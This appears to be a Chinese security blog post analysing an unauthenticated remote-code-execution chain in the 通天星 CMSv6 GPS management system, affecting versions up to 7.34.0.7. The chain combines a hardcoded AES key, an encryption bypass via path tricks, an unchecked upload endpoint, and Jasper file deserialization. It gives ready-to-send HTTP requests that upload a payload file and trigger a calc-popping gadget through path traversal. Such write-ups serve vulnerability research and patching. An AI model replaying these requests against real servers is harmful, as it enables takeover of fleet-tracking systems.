通天星CMSv6 Japser反序列化漏洞分析
0aspir1ng0 发表于 北京 漏洞分析 659浏览 · 2024-10-09 09:53

通天星CMSv6 Japser反序列化漏洞分析

一、版本说明

根据通告得知漏洞在7.33.0.7_20240508及其以下有效。实测发现:

1、上传接口在7.33.0.7_20240508及其以下有效:

2、反序列化链条:最新版7.34.0.7_20240719版本仍然存在

二、漏洞分析

2.1 路由参数加密

2.1.1 参数加密过程和Bypass

通天星有的路由需要将参数进行加密后才能进行正常的传参请求,不然响应会报错:param_must_encry/参数必须加密参数,result响应1。如果是提示result响应2的话,则是表示该路由需要登录后才能访问。所有的错误码可以在这里查找808gps/js/lang.js对应的含义。

public.js含有对参数加密的前台js加密代码。其中encrypt通过对aes ecb模式进行加密。其中密钥key可以在后续js代码进行查看。

/**
 * AES encryption (need to load lib/aes/aes.min.js file first)
 * @param word
 * @returns {*}
 */
function encrypt(word, key) {
    if (!word){
        return '';
    }
    var key = CryptoJS.enc.Utf8.parse(key);
    var srcs = CryptoJS.enc.Utf8.parse(word);
    var encrypted = CryptoJS.AES.encrypt(srcs, key, {mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7});
    return encrypted.toString();
}

getKey()是获取密钥的代码,可以看到密钥直接硬编码在js里面是ttx123456Aes1234。参数可以通过加密后就能传输了。

var webParseKey = '';
function getKey() {
    if(webParseKey){
        return webParseKey;
    }
    var ret = "ttx";
    var str = "Aes1234";
    webParseKey = ret + getNumberKey() + str;
    return webParseKey;
}

除了按照正常流程对其参数进行加密后再请求,还可以通过特定的路由进行参数加密绕过。在struts.xml配置文件可以发现有定义filter,filter文件夹在webapps/gpsweb/WEB-INF/classes/com/gpsCommon/filter,其中com.gpsCommon.filter.DecryptFilter::doFilter()有说明是OPTION方法请求、http请求包中存在ttxdownload头就可以不用参数加密就进入后续拦截器,最后正常发送请求。

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException, BusinessException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        XssHttpServletRequestWrapperNew requestWrapper = new XssHttpServletRequestWrapperNew(request);
        String url = request.getRequestURI();
        if (!"OPTIONS".equalsIgnoreCase(request.getMethod()) && !this.isStaticResource(url)) {
            String ttxdownLoad = request.getHeader("ttxdownLoad");
            if (StringUtils.isNotBlank(ttxdownLoad)) {
                chain.doFilter(requestWrapper, servletResponse);
            } else {
        ......

在判断是否是OPTION方法的同时如果uri存在静态资源路径,也可以不用加密。在isStaticResource()可以查看:

public final boolean isStaticResource(String url) {
        boolean result = false;
        if (StringUtils.isBlank(url)) {
            return result;
        } else if (!Objects.equal("/", url) && !url.startsWith("/ws") && !url.startsWith("/wss") && !url.startsWith("/h5/") && !url.startsWith("/examh5") && !url.startsWith("/js/") && !url.startsWith("/css/") && !url.startsWith("/font/") && !url.startsWith("/gener/") && !url.startsWith("/geo/") && !url.startsWith("/images/") && !url.startsWith("/map/") && !url.startsWith("/mobile/") && !url.startsWith("/offlinemap/") && !url.startsWith("/product/") && !url.startsWith("/safeProductTemplate/") && !url.startsWith("/template/") && !url.startsWith("/upgrade/") && !url.startsWith("/upload/") && !url.startsWith("/uploadZip/")) {
            int start = url.lastIndexOf(".");
            if (start < 0) {
                return result;
            } else {
                String prex = url.substring(start, url.length());
                return this.staticResourceTypes.contains(prex);
            }
        } else {
            return true;
        }
    }

结合通天星使用的是tomcat web服务器(解析分号和问号),可以这样绕过参数加密,例如/ws/..;/StandardPositionAction_refreshGpsStatus.action,然后参数正常按照请求方式请求即可。

2.2.2 哪些路由的参数需要加密?

struts.xml文件有定义通天性访问路由的两种格式:**/*_*.action(web请求通用配置)和*_*.action(api请求通用配置)。这两种形式的路由都要进行参数加密。

<!-- =========web请求通用配置========== -->
        <action name="**/*_*.action" class="{2}" method="{3}">
            <result type="customjson"/>
            <result name="input" type="customjson"/>
            <result name="excel" type="stream">
                <param name="contentType">application/vnd.ms-excel</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="csv" type="stream">
                <param name="contentType">application/csv</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="pdf" type="stream">
                <param name="contentType">application/pdf</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="image" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="inputName">inputStream</param>
            </result>
            <result name="media" type="stream">
                <param name="contentType">application/*</param>
                <param name="inputName">fileInputStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="zip" type="stream">
                <param name="contentType">application/x-msdownload</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="video" type="stream">
                <!-- 下载文件类型定义 -->
                <param name="contentType">application/octet-stream</param>
                <!-- 下载文件输出流定义 -->
                <param name="inputName">inputStream</param>                  
                <!-- 下载文件处理方式 -->                 
                <param name="contentDisposition">attachment;filename="${fileName}"</param>
                <!-- 下载文件的缓冲大小 -->
                <param name="bufferSize">4096</param>
            </result>

            <!-- 页面重定向  -->
            <!--    <result name="redirect" type="redirect">
                        <param name="location">/808gps/index.html</param>               
                    <param name="clientLogin">2</param>
                    <param name="userSession">${userSession}</param>
              </result> -->
        </action>

        <!-- =========API请求通用配置========== -->
        <action name="*_*.action" class="{1}" method="{2}">
            <result type="customjson"/>
            <result name="input" type="customjson"/>
            <result name="excel" type="stream">
                <param name="contentType">application/vnd.ms-excel</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="csv" type="stream">
                <param name="contentType">application/csv</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="pdf" type="stream">
                <param name="contentType">application/pdf</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="image" type="stream">
                <param name="contentType">image/jpeg</param>
                <param name="inputName">inputStream</param>
            </result>
            <result name="media" type="stream">
                <param name="contentType">application/*</param>
                <param name="inputName">fileInputStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">2048</param>
            </result>
            <result name="zip" type="stream">
                <param name="contentType">application/x-msdownload</param>
                <param name="inputName">excelStream</param>
                <param name="contentDisposition">attachment;filename="${excelFile}"</param>
                <param name="bufferSize">4096</param>
            </result>
            <result name="video" type="stream">
                <!-- 下载文件类型定义 -->
                <param name="contentType">application/octet-stream</param>
                <!-- 下载文件输出流定义 -->
                <param name="inputName">inputStream</param>                  
                <!-- 下载文件处理方式 -->                 
                <param name="contentDisposition">attachment;filename="${fileName}"</param>
                <!-- 下载文件的缓冲大小 -->
                <param name="bufferSize">4096</param>
            </result>

            <!-- 页面重定向  -->
            <!--    <result name="redirect" type="redirect">
                        <param name="location">/808gps/index.html</param>               
                    <param name="clientLogin">2</param>
                    <param name="userSession">${userSession}</param>
              </result> -->
        </action>

2.2 Jasper反序列化链条

webapps/gpsweb/WEB-INF/classes/com/gps808/operationManagement/action/StandardLineAction.classreport方法应该是生成各类报告的接口,其中get方式获取的name参数未经过滤传入print = this.getReportCreate().createReport(name);

public void report() {
        try {
            String format = this.getRequestString("format");//导出格式,测试发现可选html、pdf、xlxs
            String name = this.getRequestString("name");//报告名
            String lid = this.getRequestString("id");//公告id
            String direct = this.getRequestString("direct");//偏移量
            String disposition = this.getRequestString("disposition");//显示方式
            String reportTitle = "";
            StandardCompany line = (StandardCompany)this.standardLineService.getObject(StandardCompany.class, Integer.parseInt(lid));
            if (line != null) {
                reportTitle = line.getName();
                if (direct != null) {
                    if (direct.equals("0")) {
                        reportTitle = reportTitle + "S";
                    } else if (direct.equals("1")) {
                        reportTitle = reportTitle + "X";
                    }
                }
            }

            AjaxDto<StandardLineStationRelationStation> stationRelation = this.standardLineService.getLineStationInfos(Integer.parseInt(lid), Integer.parseInt(direct), 1, " order by sindex asc ", (List)null, (Pagination)null);
            List<Map> list = new ArrayList();
            String language = this.getAndUpdateSessionLanguage();
            if (stationRelation != null && stationRelation.getPageList() != null) {
                int i = 0;

                for(int j = stationRelation.getPageList().size(); i < j; ++i) {
                    StandardLineStationRelationStation relation = (StandardLineStationRelationStation)stationRelation.getPageList().get(i);
                    Map map = new HashMap();
                    map.put("sindex", relation.getSindex());
                    map.put("name", relation.getStation().getName());
                    map.put("direct", this.getStationDirectEx(relation.getStation().getDirect(), language));
                    map.put("stype", this.getStationTypeEx(relation.getStype(), language));
                    map.put("lngIn", GpsUtil.formatPosition(relation.getStation().getLngIn()));
                    map.put("latIn", GpsUtil.formatPosition(relation.getStation().getLatIn()));
                    map.put("angleIn", relation.getStation().getAngleIn());
                    map.put("speed", GpsUtil.getFormatSpeed(relation.getSpeed(), 1, new Boolean[0]));
                    map.put("len", GpsUtil.getFormatLiCheng(relation.getLen()));
                    list.add(map);
                }
            }

            Map mapHeads = new HashMap();
            mapHeads.put("sindex", LanguageCache.getLanguageTextEx("line_station_index", language));
            mapHeads.put("name", LanguageCache.getLanguageTextEx("line_station_name", language));
            mapHeads.put("direct", LanguageCache.getLanguageTextEx("line_station_direction", language));
            mapHeads.put("stype", LanguageCache.getLanguageTextEx("line_station_type", language));
            mapHeads.put("lngIn", LanguageCache.getLanguageTextEx("line_station_in_lng", language));
            mapHeads.put("latIn", LanguageCache.getLanguageTextEx("line_station_in_lat", language));
            mapHeads.put("angleIn", LanguageCache.getLanguageTextEx("line_station_in_angle", language));
            mapHeads.put("speed", LanguageCache.getLanguageTextEx("line_station_limit_speed", language) + " (KM/H)");
            mapHeads.put("len", LanguageCache.getLanguageTextEx("line_station_distance", language) + " (KM)");
            ReportPrint print = null;

            try {
                print = this.getReportCreate().createReport(name);//触发JasperReport库
                print.setMapHeads(mapHeads);
                print.setReportTitle(reportTitle);
                print.setDateSource(list);
                print.setFormat(format);
                print.setDocumentName(name);
                print.setDisposition(disposition);
                print.exportReport();
            } catch (IOException var15) {
                this.log.error(var15.getMessage(), var15);
            } catch (ServletException var16) {
                this.log.error(var16.getMessage(), var16);
            } catch (Exception var17) {
                this.log.error(var17.getMessage(), var17);
            }
        } catch (Exception var18) {
            this.log.error(var18.getMessage(), var18);
            this.addCustomResponse(ACTION_RESULT, 1);
        }

    }

this.getReportCreate().createReport(name);这里调用了com/gpsCommon/action/CommonBaseAction.classgetReportCreate方法:

protected ReportCreater getReportCreate() {
        if (this.reportCreate == null) {
            this.reportCreate = new ReportCreater();
            this.reportCreate.setJasperReportPath(ServletActionContext.getServletContext().getRealPath("WEB-INF/jasper"));
        }

        return this.reportCreate;
    }

默认在webapps/gpsweb/WEB-INF/jasper目录下读取jasper文件。返回com/framework/jasperReports/ReportCreater.class类,继续调用com/framework/jasperReports/ReportCreater.class::createReport()方法。继续跟进在_createReport()方法发现调用了getJasperReport(reportKey),reportKey承接的是外部get传入的name参数值。

public ReportPrint createReport(String reportKey) throws IOException {
        try {
            return this._createReport(reportKey);
        } catch (JRException var3) {
            this.log.error(var3.getMessage(), var3);
            throw new IOException();
        }
    }

    private ReportPrint _createReport(String reportKey) throws JRException, IOException {
        JasperReport jasperReport = this.getJasperReport(reportKey);
        Map parameters = this.getParameters_(reportKey);
        return new ReportPrint(jasperReport, parameters);
    }

    private JasperReport getJasperReport(String reportKey) throws IOException, JRException {
        JasperReport jasperReport = null;
        if (this.jasperDesignMap.containsKey(reportKey)) {
            jasperReport = (JasperReport)this.jasperDesignMap.get(reportKey);
        } else {
            jasperReport = this.getJasperReportFromFile(reportKey);
            this.jasperDesignMap.put(reportKey, jasperReport);
        }
        return jasperReport;
    }

getJasperReport(reportKey)这段代码主要目的是确保每次请求相同的报告时,只需编译一次报告模板,并将其存储在缓存中供后续使用,从而提高性能并减少资源消耗。如果缓存中已经存在对应的 JasperReport,则直接从缓存中获取;否则,从文件系统加载并编译报告模板,然后将编译好的报告存入缓存。但通常情况下从WEB-INF/jasper目录下读取jasper文件即可。

private JasperReport getJasperReportFromFile(String reportKey) throws IOException, JRException {
        String filePath = this.jasperReportPath + File.separator + reportKey + ".jasper";//固定后缀名
        File reportFile = null;
        JasperReport jasperReport = null;
        reportFile = new File(filePath);
        if (reportFile.exists() && reportFile.isFile()) {
            jasperReport = (JasperReport)JRLoader.loadObject(reportFile);
        }

        return jasperReport;
    }

getJasperReportFromFile固定了读取jasper文件。文件存在进入JasperReport-6.4.0.jar包的net/sf/jasperreports/engine/util/JRLoader.class::loadObject()进行反序列化。

public static Object loadObject(File file) throws JRException {
        return loadObject(DefaultJasperReportsContext.getInstance(), (File)file);
    }

    public static Object loadObject(JasperReportsContext jasperReportsContext, File file) throws JRException {
        if (file.exists() && file.isFile()) {
            Object obj = null;
            FileInputStream fis = null;
            ContextClassLoaderObjectInputStream ois = null;

            try {
                fis = new FileInputStream(file);
                BufferedInputStream bufferedIn = new BufferedInputStream(fis);
                ois = new ContextClassLoaderObjectInputStream(jasperReportsContext, bufferedIn);
                obj = ois.readObject();

最后通过net/sf/jasperreports/engine/util/ContextClassLoaderObjectInputStream.class在没有对jasper文件进行内容检测的情况下就直接反序列化。

2.3 上传Jasper接口

  • 方式一:ftp上传

7.33.0.7_20240508以前的版本环境默认开启ftp默认端口2121,且默认匿名用户可访问(空用户名和空密码)。可以通过ftp上传jasper文件。

  • 方式二:com.framework.web.action.FileUploadAction::upload()上传

    com.framework.web.action.FileUploadAction::upload()没有检测上传文件后缀名和文件名的目录遍历就上传了。上传的路径是从C:\根目录开始的,上传文件名也没有更改。

    public void upload() {
            for(int i = 0; i < this.uploadFileFileName.size(); ++i) {
                BufferedInputStream bis = null;
                BufferedOutputStream bos = null;
                String fileName = (String)this.uploadFileFileName.get(i);//获取文件名
    
                try {
                    if (!"".equals(fileName)) {//文件名不会为空
                        FileInputStream fis = new FileInputStream((File)this.uploadFile.get(i));
                        FileOutputStream fos = new FileOutputStream("C:\\" + fileName);//默认在c盘根目录开始上传文件
                        bis = new BufferedInputStream(fis);
                        bos = new BufferedOutputStream(fos);
                        byte[] b = new byte[1024];
                        int len = true;
    
                        int len;
                        while((len = bis.read(b)) != -1) {
                            bos.write(b, 0, len);
                        }
                    }
                } catch (Exception var17) {
                } finally {
                    try {
                        if (bis != null) {
                            bis.close();
                        }
    
                        if (bos != null) {
                            bos.close();
                        }
                    } catch (IOException var16) {
                    }
    
                }
            }
    
        }
    
        public String image() throws Exception {
            try {
                this.upload();
            } catch (Exception var2) {
                this.log.error(var2.getMessage(), var2);
                this.addCustomResponse(ACTION_RESULT, 1);
            }
    
            return "success";
        }
    

/webapps/gpsweb/WEB-INF/lib文件下能看到使用的第三方库有commons-beanutils-1.8.0.jar,可以cb链进行后续触发。

三、漏洞复现

3.1 upload接口上传jasper文件

post请求发送以下http报文,其中jasper文件内容含有反序列化不可见字符,通过html表单提交。com.framework.web.action.FileUploadAction::upload() 不在struts.xml文件中的定义里,因此需要使用全类名进行访问,也就不需要bypass参数加密。

POST /com.framework.web.action.FileUploadAction_upload.action HTTP/1.1
Host: 192.168.8.164:88
Content-Length: 395
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvl1q2bEhAS3C02LB
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=A66DB2E5A3D0640A3AF28A27FF7FF2FF;
Connection: close

------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFile";filename="calc.jasper";
Content-Type: application/

<jasper文件内容>
------WebKitFormBoundaryvl1q2bEhAS3C02LB
Content-Disposition: form-data; name="uploadFileFileName";

qqqq.jasper
------WebKitFormBoundaryvl1q2bEhAS3C02LB--

响应200表示上传成功,默认上传的路径在C:\盘根目录。

3.2 Jasper文件反序列化

触发上一步弹计算器的cb链Jasper文件:

OPTION /StandardLineAction_report.action?name=../../../../../../../calcwin&id=10&direct=0 HTTP/1.1
Host: 192.168.8.158:88
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D95C057F20ACA15D3B45547AE87DE282; JSESSIONID=D95C057F20ACA15D3B45547AE87DE282
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

响应200,此处情况表示成功:

查看服务器进程可以看到calc已经被触发启动了:

四、总结

国内很多应用对JapserReport的反序列化修复不彻底,很容易挖掘出新环节的漏洞。

1 条评论
某人
表情
可输入 255